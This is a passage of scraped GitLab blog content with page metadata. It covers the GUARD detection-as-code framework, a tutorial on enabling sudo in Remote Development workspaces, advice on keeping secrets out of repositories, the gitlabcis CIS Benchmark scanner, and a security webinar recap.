escalation workflow \n\n## The goals of GUARD  \n\nGUARD was created and designed with a set of key goals: \n\n1. **Standardization of SIRT’s detection and alerting pipeline** to produce high-quality detections using a peer reviewed and automation-first focus  \n2. **Reduction of alert fatigue** through alert consolidation, deduplication, risk scoring, and automated feedback  \n3. **Metrics** to measure response efficiency and identify problems early  \n4. **GitLab at the core** by leveraging GitLab as a single source of truth for detection definitions\n\n## GUARD's design principles\n\nGUARD was created out of necessity, with a clear vision of the intended state. Before GUARD, detections did not follow a standard format, alerting metrics were not available, and detection creation and maintenance were ad-hoc. Building a framework that was scalable, GitLab-centric, and able to automate manual tasks was core to the success of GUARD. Due to time efficiencies realized by GUARD, SecOps engineers have more time to solve difficult problems and handle complex incidents. \n\n## GUARD components \n\nThe GUARD framework consists of multiple modules. At the center of GUARD is the GitLab platform itself, acting as a single source of truth for detection rules and providing SIRT the ability to automatically deploy detections as code using GitLab CI/CD. \n\nGUARD includes the following components: \n\n- Detection as Code (DaC) - Deploys detections through the GitLab CI/CD pipeline.  \n- User Attestation Module - Allows GitLab team members to attest to activities flagged as potentially malicious.  \n- Enrichments - Polling historical and contextual information to enrich alerts to make alert triage easier.  \n- Alert Triage and Response - Providing a standard alert triage format and templated escalation actions.  \n- Metrics Generation - Gathering insights on alert handling. \n\nEach GUARD module works together to standardize, automate, and iteratively improve GitLab’s security detections and alerting pipeline. \n\n## GitLab at the core\n\nGitLab is core to critical components of GUARD, acting as a single source for threat detections, automating GUARD’s DaC pipeline through GitLab CI/CD, and acting as a “front end” for GUARD, through which security engineers can add, edit and delete threat detections. \n\nHow GitLab features use GUARD: \n\n- [GitLab projects](https://docs.gitlab.com/ee/user/get_started/get_started_projects.html): GUARD utilizes a GitLab project repository as the single source for GUARD threat detections, stored in JSON format.   \n- [GitLab MRs](https://docs.gitlab.com/ee/user/project/merge_requests/): Any changes to GUARD detections, including new detections utilize GitLab MRs against the main GUARD project. A detailed MR template is utilized in which we validate and record details about the detection being added, edited, or deleted. MR approval rules, including the use of CodeOwners and protected branches, are used to ensure proper detection reviews are completed before merging.   \n- [GitLab issues](https://docs.gitlab.com/ee/user/project/issues/): Bug submissions or other engineering efforts related to GUARD are recorded in GitLab issues.   \n- [GitLab labels](https://docs.gitlab.com/ee/user/project/labels.html): A set of standardized labels ensure security engineers document GUARD changes in a way that is easy to track.   \n- [GitLab CI/CD](https://docs.gitlab.com/ee/ci/): GUARD uses a GitLab CI pipeline to automate the deployment of new/changed/deleted detections to GitLab’s security incident and event management (SIEM). GUARD’s CI pipeline performs a number of validation, testing, and quality checks before successfully passing the pipeline and committing the changes to GitLab’s SIEM platform. \n\n## Metrics generation\n\nInteractions with the alert handling UI are recorded to generate key performance metrics, such as Time to Respond, Time to Resolve, and insights into alerts like true/false positive rates. Additional metadata collected includes an emoji-based sentiment analysis. Engineers handling alerts provide ‘feedback’ about the alerts handled in the form of emojis, so we can take that feedback into account upon iterating on detection rules. \n\nAlert handling metrics are stored in a separate database to create visualizations consulted by engineers and management. These are key to understanding team performance in alert resolution and alert fidelity so that we can always improve.  \n\n## Iterate with us\n\nUsing GitLab as a single source of truth for threat detection code allowed GUARD to extract processes from a specific SIEM technology, supporting greater flexibility, ease of use, modularization, and auditability. \n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is a core GitLab value – we start with the smallest valuable thing to get fast feedback and efficiently reach a desired end goal. GUARD is no different, and we hope sharing GUARD will help readers iterate towards their own automation improvements. \n\n*This article is the first in a series on GitLab GUARD. Next, we will share details about various aspects of our iterative journey to implement GUARD at GitLab.*",[14,715,479],{"slug":1430,"featured":92,"template":677},"unveiling-the-guard-framework-to-automate-security-detections-at-gitlab","content:en-us:blog:unveiling-the-guard-framework-to-automate-security-detections-at-gitlab.yml","Unveiling The Guard Framework To Automate Security Detections At Gitlab","en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab.yml","en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab",{"_path":1436,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1437,"content":1443,"config":1451,"_id":1453,"_type":16,"title":1454,"_source":17,"_file":1455,"_stem":1456,"_extension":20},"/en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces",{"title":1438,"description":1439,"ogTitle":1438,"ogDescription":1439,"noIndex":6,"ogImage":1440,"ogUrl":1441,"ogSiteName":767,"ogType":768,"canonicalUrls":1441,"schema":1442},"Enable secure sudo access for GitLab Remote Development workspaces","Learn how to allow support for sudo commands using Sysbox, Kata Containers, and user namespaces in this easy-to-follow tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675033/Blog/Hero%20Images/blog-image-template-1800x945.png","https://about.gitlab.com/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enable secure sudo access for GitLab Remote Development workspaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vishal Tak\"}],\n        \"datePublished\": \"2024-11-20\",\n      }",{"title":1438,"description":1439,"authors":1444,"heroImage":1440,"date":1446,"body":1447,"category":14,"tags":1448},[1445],"Vishal Tak","2024-11-20","A development environment often requires sudo permissions to install, configure, and use dependencies during runtime. GitLab now allows secure sudo access for [GitLab Remote Development workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/). This tutorial shows you how to enable GitLab workspace users to securely use sudo commands to perform common tasks.\n\n## The challenge\n\nFor the sake of this article, say your project is as simple as the below code.\n\n```\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\t// Set up JSON logger\n\tlogFile, err := os.OpenFile(\"server.log\", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer logFile.Close()\n\n\tjsonHandler := slog.NewJSONHandler(logFile, nil)\n\tlogger := slog.New(jsonHandler)\n\tslog.SetDefault(logger)\n\n\t// Define handlers\n\thttp.HandleFunc(\"/path1\", handleRequest)\n\thttp.HandleFunc(\"/path2\", handleRequest)\n\n\t// Start server\n\tslog.Info(\"Starting server on :3000\")\n\terr = http.ListenAndServe(\":3000\", nil)\n\tif err != nil {\n\t\tslog.Error(\"Server failed to start\", \"error\", err)\n\t}\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tdata := make(map[string]interface{})\n\tfor k, v := range r.Header {\n\t\tdata[k] = v\n\t}\n\n\tdata[\"method\"] = r.Method\n\tdata[\"url\"] = r.URL.String()\n\tdata[\"remote_addr\"] = r.RemoteAddr\n\n\tresponse, err := json.MarshalIndent(data, \"\", \"  \")\n\tif err != nil {\n\t\tslog.Error(\"Failed to marshal metadata\", \"error\", err)\n\t\thttp.Error(w, \"Internal Server Error\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Log the metadata\n\tslog.Info(\"Request received\",\n\t\t\"path\", r.URL.Path,\n\t\t\"response\", string(response),\n\t)\n\n\t// Write response\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(response)\n}\n```\n\nThis code starts an HTTP server on port 3000, exposes two paths: `path1` and `path2`. Each HTTP request received is logged to a file `server.log`.\n\nLet's run this code with `go run main.go` and generate some requests.\n\n```\ni=1\nwhile [ \"$i\" -le 100 ]; do\n  echo \"Iteration $i\"\n\n  if [ $((random_number % 2)) -eq 0 ]; then\n    curl \"localhost:3000/path1\"\n  else\n    curl \"localhost:3000/path2\"\n  fi\n\n  i=$((i + 1))\ndone\n```\n\nAs you work on this application, you realize the need to analyze the logs to debug an issue. You look at the log file and it is long to parse with a simple glance. You remember there is a handy tool, [jq](https://jqlang.github.io/jq/), which parses JSON data. But your workspace does not have it installed.\n\nYou want to install `jq` through the package manager for this workspace only.\n\n```\nsudo apt update\nsudo apt install jq\n```\n\nThe output is:\n\n```\nsudo: The \"no new privileges\" flag is set, which prevents sudo from running as root.\nsudo: If sudo is running in a container, you may need to adjust the container configuration to disable the flag.\n```\n\nThis happens because GitLab workspaces explicitly disallows `sudo` access to prevent privilege escalation on the Kubernetes host.\n\nNow, there is a more secure way to run `sudo` commands in a workspace.\n\n## How sudo access works\n\nThat is exactly what we have [unlocked](https://docs.gitlab.com/ee/user/workspace/configuration.html#configure-sudo-access-for-a-workspace) in the 17.4 release of GitLab.\n\nYou can configure secure sudo access for workspaces using any of the following options:\n\n- Sysbox  \n- Kata Containers  \n- User namespaces\n\nWe will set up three GitLab agents for workspaces to demonstrate each option.\n\n### Sysbox\n\n[Sysbox](https://github.com/nestybox/sysbox) is a container runtime that improves container isolation and enables containers to run the same workloads as virtual machines.\n\nTo configure sudo access for a workspace with Sysbox:\n\n1. In the Kubernetes cluster, [install Sysbox](https://github.com/nestybox/sysbox#installation).\n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"sysbox-update.me.com\"\n  default_runtime_class: \"sysbox-runc\"\n  allow_privilege_escalation: true\n  annotations:\n    \"io.kubernetes.cri-o.userns-mode\": \"auto:size=65536\"\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\n### Kata Containers\n\n[Kata Containers](https://github.com/kata-containers/kata-containers) is a standard implementation of lightweight virtual machines that perform like containers but provide the workload isolation and security of virtual machines.\n\nTo configure sudo access for a workspace with Kata Containers:\n\n1. In the Kubernetes cluster, [install Kata Containers](https://github.com/kata-containers/kata-containers/tree/main/docs/install).  \n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"kata-update.me.com\"\n  default_runtime_class: \"kata-qemu\"\n  allow_privilege_escalation: true\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\n### User namespaces\n\n[User namespaces](https://kubernetes.io/docs/concepts/workloads/pods/user-namespaces/) isolate the user running inside the container from the user on the host.\n\nTo configure sudo access for a workspace with user namespaces:\n\n1. In the Kubernetes cluster, [configure user namespaces](https://kubernetes.io/blog/userns-beta/).  \n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"userns-update.me.com\"\n  use_kubernetes_user_namespaces: true\n  allow_privilege_escalation: true\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\nSetting up a Kubernetes cluster with user namespaces configured is challenging since it is behind a beta feature gate in Kubernetes Version 1.31.0. This means it is not yet possible to configure such a cluster on the major cloud providers because they don't provide a mechanism to enable feature gates in their managed Kubernetes offering. Here is an example of [configuring a simple Kuberenetes cluster using `kubeadm`](https://gitlab.com/gitlab-org/gitlab/-/issues/468290#note_1959300036).\n\n### Create a workspace\n\nIf you now create a workspace with these agents and try installing `jq` through a package manager, it should succeed!\n\nYou can analyze the logs using `jq`. Say you wanted to inspect the log entries where the path is `/path1`, you can run:\n\n```\njq 'select(.path == \"/path1\")' server.log\n```\n\nThe output is:\n\n```\n{\n  \"time\": \"2024-10-31T12:04:38.474806+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61246\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n{\n  \"time\": \"2024-10-31T12:06:22.397453+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61311\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n{\n  \"time\": \"2024-10-31T12:19:34.974354+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61801\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n```\n\n## Get started today\n\nLearn even more with our [Configure sudo access for a workspace documentation](https://docs.gitlab.com/ee/user/workspace/configuration.html#configure-sudo-access-for-a-workspace). See [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for details on individual settings.\n\n> New to GitLab Remote Development? Here is a [quickstart guide](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) to get you up to speed.",[14,696,1449,479,1450],"remote work","collaboration",{"slug":1452,"featured":92,"template":677},"enable-secure-sudo-access-for-gitlab-remote-development-workspaces","content:en-us:blog:enable-secure-sudo-access-for-gitlab-remote-development-workspaces.yml","Enable Secure Sudo Access For Gitlab Remote Development Workspaces","en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces.yml","en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces",{"_path":1458,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1459,"content":1465,"config":1471,"_id":1474,"_type":16,"title":1475,"_source":17,"_file":1476,"_stem":1477,"_extension":20},"/en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7",{"title":1460,"description":1461,"ogTitle":1460,"ogDescription":1461,"config":1462,"ogImage":1381,"ogUrl":1463,"ogSiteName":767,"ogType":768,"canonicalUrls":1463,"schema":1464},"GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7","Learn more about this GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-11-13\",\n      }",{"title":1460,"description":1461,"authors":1466,"heroImage":1381,"date":1468,"body":1469,"category":14,"tags":1470},[1467],"Greg Myers","2024-11-13","This is the post for [GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7](https://about.gitlab.com/releases/2024/11/13/patch-release-gitlab-17-5-2-released/).",[1292],{"slug":1472,"featured":6,"template":677,"externalUrl":1473},"gitlab-patch-release-17-5-2-17-4-4-17-3-7","https://about.gitlab.com/releases/2024/11/13/patch-release-gitlab-17-5-2-released/","content:en-us:blog:gitlab-patch-release-17-5-2-17-4-4-17-3-7.yml","Gitlab Patch Release 17 5 2 17 4 4 17 3 7","en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7.yml","en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7",{"_path":1479,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1480,"content":1486,"config":1491,"_id":1493,"_type":16,"title":1494,"_source":17,"_file":1495,"_stem":1496,"_extension":20},"/en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories",{"title":1481,"description":1482,"ogTitle":1481,"ogDescription":1482,"noIndex":6,"ogImage":1483,"ogUrl":1484,"ogSiteName":767,"ogType":768,"canonicalUrls":1484,"schema":1485},"Best practices to keep secrets out of GitLab repositories","Learn strategies to secure secrets and what to do if secrets are accidentally leaked in a GitLab repository.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","https://about.gitlab.com/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Best practices to keep secrets out of GitLab repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2024-10-31\",\n      }",{"title":1481,"description":1482,"authors":1487,"heroImage":1483,"date":1488,"body":1489,"category":14,"tags":1490},[794],"2024-10-31","The GitLab security team is aware of a [blog post](https://sysdig.com/blog/emeraldwhale/) from Sysdig describing how attackers scan public repositories to identify exposed credentials in Git config files. GitLab consistently recommends its customers and users follow several best practices to [harden their public GitLab projects](https://about.gitlab.com/security/hardening/) to prevent unintentional leaks of their credentials in Git config files or elsewhere in public projects. \n\n1\\. [Limit public visibility of GitLab Groups and Projects](https://about.gitlab.com/security/hardening/#limit-public-visibility-of-your-groups-and-projects)  \nGitLab recommends setting the default visibility for new GitLab projects and groups to private by default. Configuring the default project and group visibility settings to private for your GitLab instance may help prevent accidental disclosure of information in a public project that was intended to be private. \n\n2\\. [Secure CI secrets](https://about.gitlab.com/security/hardening/#secure-your-ci-secrets)  \nAny secrets that require protection, including passwords and tokens, should never be stored in plaintext. Encryption container technologies (Secrets Managers) should be leveraged to help store secrets securely. Some examples of secret manager tools include GCP Secret Manager, AWS KMS, and HashiCorp Vault. \n\n3\\. [Leverage GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)  \nGitLab employs several secret detection capabilities to identify, block, or warn users about potential secrets stored in GitLab repositories. Secret detection monitors your activity to help prevent you from leaking secrets and enables you to respond if a secret is leaked. \n\n## Enable secret detection methods  \n\nAll available GitLab [secret detection methods](https://docs.gitlab.com/ee/user/application_security/secret_detection/) should be enabled:   \n- [Secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/index.html) scans commits for secrets when you push changes to GitLab. The push is blocked if secrets are detected unless you skip secret push protection. This method helps reduce the risk of secrets being leaked.  \n- [Pipeline secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html) runs as part of a project’s CI/CD pipeline. Commits to the repository’s default branch are scanned for secrets. If pipeline secret detection is enabled in merge request pipelines, commits to the development branch are scanned for secrets, enabling you to respond before they’re committed to the default branch.  \n- [Client-side secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/client/index.html) scans descriptions and comments in both issues and merge requests for secrets before they’re saved to GitLab. When a secret is detected, you can choose to edit the input and remove the secret or, if it’s a false positive, save the description or comment.\n\n## What to do if you accidentally leak credentials  \nIn the event of an accidental secret exposure, you should reset the exposed credential and review access logs to identify if there is evidence of credential misuse or abuse. If the leaked secret was a GitLab personal access token or other secret token type, you should [revoke the token and review GitLab logs](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#credential-exposure-to-public-internet) for any unauthorized activity associated with the exposed token.",[14],{"slug":1492,"featured":92,"template":677},"best-practices-to-keep-secrets-out-of-gitlab-repositories","content:en-us:blog:best-practices-to-keep-secrets-out-of-gitlab-repositories.yml","Best Practices To Keep Secrets Out Of Gitlab Repositories","en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories.yml","en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories",{"_path":1498,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1499,"content":1505,"config":1512,"_id":1514,"_type":16,"title":1515,"_source":17,"_file":1516,"_stem":1517,"_extension":20},"/en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance",{"title":1500,"description":1501,"ogTitle":1500,"ogDescription":1501,"noIndex":6,"ogImage":1502,"ogUrl":1503,"ogSiteName":767,"ogType":768,"canonicalUrls":1503,"schema":1504},"New CIS GitLab Benchmark scanner boosts security and compliance","GitLab's gitlabcis scanner determines level of compliance for GitLab projects. Learn how to install and use the tool with this tutorial, as well as what's on the roadmap.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664530/Blog/Hero%20Images/AdobeStock_282096522.jpg","https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New CIS GitLab Benchmark scanner boosts security and compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"},{\"@type\":\"Person\",\"name\":\"Neil McDonald\"},{\"@type\":\"Person\",\"name\":\"Nate Rosandich\"}],\n        \"datePublished\": \"2024-10-29\",\n      }",{"title":1500,"description":1501,"authors":1506,"heroImage":1502,"date":1509,"body":1510,"category":14,"tags":1511},[836,1507,1508],"Neil McDonald","Nate Rosandich","2024-10-29","GitLab's CIS Benchmark scanner, [gitlabcis](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis), is open source and available. The [Python](https://www.python.org/downloads/) CLI tool audits a GitLab project against the [Center for Internet Security (CIS) GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/17538), and delivers [recommendations as code](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/recommendations?ref_type=heads#recommendations) formatted in YAML.\n\nIn April, we introduced the [CIS GitLab Benchmark](https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security/) to improve security and offer hardening recommendations to GitLab's customers. [The benchmark is available for download](https://workbench.cisecurity.org/benchmarks/17538) from the CIS website.\n\nIn this article, you'll learn:\n* [How to install and use the gitlabcis scanner](#how-to-install-and-use-the-gitlabcis-scanner)\n* [gitlabcis scanner details](#gitlabcis-scanner-details)\n* [GitLab scanner and product roadmap](#gitlab-scanner-and-product-roadmap)\n\n## How to install and use the gitlabcis scanner\n\nYou can download and install the scanner using pip via [pypi](https://pypi.org/project/gitlabcis/), or download the source code from our [releases page](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/releases).\n\n```sh\npip install gitlabcis\n```\n\nThe scanner takes one positional argument (`URL`) and then options. The format is: `gitlabcis URL OPTIONS`\n\n```sh\n# example: generate a json report\ngitlabcis \\\n    https://gitlab.example.com/path/to/project \\\n    -o results.json \\\n    -f json\n```\n\nThe full command line options can be found in [the documentation](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/docs?ref_type=heads#gitlabcis-usage).\n\n![GitLab CIS Benchmark scanner](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675788/Blog/Content%20Images/Screenshot_2024-10-26_at_8.16.22_AM.png)\n\n## gitlabcis scanner details\n\nThe team extracted all of the recommendation controls from the [CIS GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/17538) and created them in YAML to be used as [controls as code](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/recommendations?ref_type=heads).\n\nEach control has its own [dedicated function](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/benchmarks?ref_type=heads) to enhance readability. This also allows an individual to observe how the control performs its audit.\n\nAdditionally, certain control functions have limitations. We have identified each of these, which can be found in our [limitations document](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/blob/main/docs/limitations.md?ref_type=heads).\n\nCurrently, the tool only accepts a _project URL_ input. It then only observes configuration at a _project_ level. It does however support administrative controls.\n\n* For example, the [1.1.2 - Code Tracing](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/blob/main/gitlabcis/recommendations/source_code_1/code_changes_1_1/code_tracing.yml) control attempts to audit _\"... any change to code can be traced back to its associated task\"_.\n    * This can be achieved with crosslinking issues in merge requests.\n    * Merge requests can be found at a project level, group level, or event instance level.\n    * The scanner currently only checks _at the project level_.\n* See [our roadmap](#gitlab-scanner-and-product-roadmap), which aims to address this functionality gap.\n\n> Contribute to the [gitlabcis scanner](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/) project.\n\n## GitLab scanner and product roadmap\n\nThe creation of the scanner allowed us to contribute two features back into the product with the help of the community.\n\n* [Show crosslinked/related issues in merge requests via the API](https://gitlab.com/gitlab-org/gitlab/-/issues/461536)\n* [Groups API: Add Restrict group access by Domain](https://gitlab.com/gitlab-org/gitlab/-/issues/351494)\n\nWe want to augment the scanner to be able to accept instances or groups as input. For example, if you host GitLab at: [gitlab.example.com](http://gitlab.example.com), this could be used as an input to check at the instance level if you are compliant against the CIS GitLab Benchmark and the same for groups.\n\nAdditionally, certain controls can be set at the instance or group level and trickle down to the project level. There is work ongoing to include this functionality into the scanner. Check out the [epic](https://gitlab.com/groups/gitlab-org/govern/compliance/engineering/cis/-/epics/2) for more information\n\nOne important aspect is incorporating [this functionality into the GitLab product itself](https://gitlab.com/groups/gitlab-org/-/epics/7854). The GitLab compliance team is working on [incorporating the CIS GitLab Benchmark](https://gitlab.com/groups/gitlab-org/-/epics/13823) and other standards into the [Compliance Adherence Report](https://docs.gitlab.com/ee/user/compliance/compliance_center/). This will allow customers real-time reviews of instances, groups, and projects across a wide set of standards, not just CIS.\n\n> Learn more about the CIS GitLab Benchmark in our [public project](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis).\n",[14,715,776],{"slug":1513,"featured":6,"template":677},"new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance","content:en-us:blog:new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance.yml","New Cis Gitlab Benchmark Scanner Boosts Security And Compliance","en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance.yml","en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance",{"_path":1519,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1520,"content":1526,"config":1533,"_id":1535,"_type":16,"title":1536,"_source":17,"_file":1537,"_stem":1538,"_extension":20},"/en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive",{"title":1521,"description":1522,"ogTitle":1521,"ogDescription":1522,"noIndex":6,"ogImage":1523,"ogUrl":1524,"ogSiteName":767,"ogType":768,"canonicalUrls":1524,"schema":1525},"5 things to know from our LinkedIn Live Security Deep Dive","Security experts and product leaders offered their take on new developments in application security and the latest from GitLab 17.5.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659856/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25.png","https://about.gitlab.com/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 things to know from our LinkedIn Live Security Deep Dive\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2024-10-28\",\n      }",{"title":1521,"description":1522,"authors":1527,"heroImage":1523,"date":1529,"body":1530,"category":14,"tags":1531},[1528],"Fatima Sarah Khalid","2024-10-28","[GitLab's October LinkedIn Live broadcast](https://www.linkedin.com/feed/update/urn:li:activity:7255246777077936128) brought together security experts and product leaders to discuss the latest developments in application security and highlight key features from the GitLab 17.5 release. In case you missed it, here's what you need to know.\n\n## 1. Software is moving faster and security is struggling to keep up\nDevelopment teams are shipping at record speeds, but their security counterparts are finding it difficult to meet that pace. Our [DevSecOps survey](https://about.gitlab.com/developer-survey/) revealed that 66% of companies are shipping code twice as fast as last year, while 55% of security teams are finding vulnerabilities after code is merged to test environments. With 80% of top data breaches coming from application layer attacks, this gap must be addressed.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023367700?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Market Insights\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 2. Advanced SAST is getting smarter\nGitLab's new [Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/) capabilities are a game-changer for security testing. Built on technology acquired from Oxeye, Advanced SAST offers cross-file and cross-function scanning with taint analysis. The star feature is a code flow view that lets developers trace vulnerabilities from source to sink, making it easier to understand and fix security issues.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe 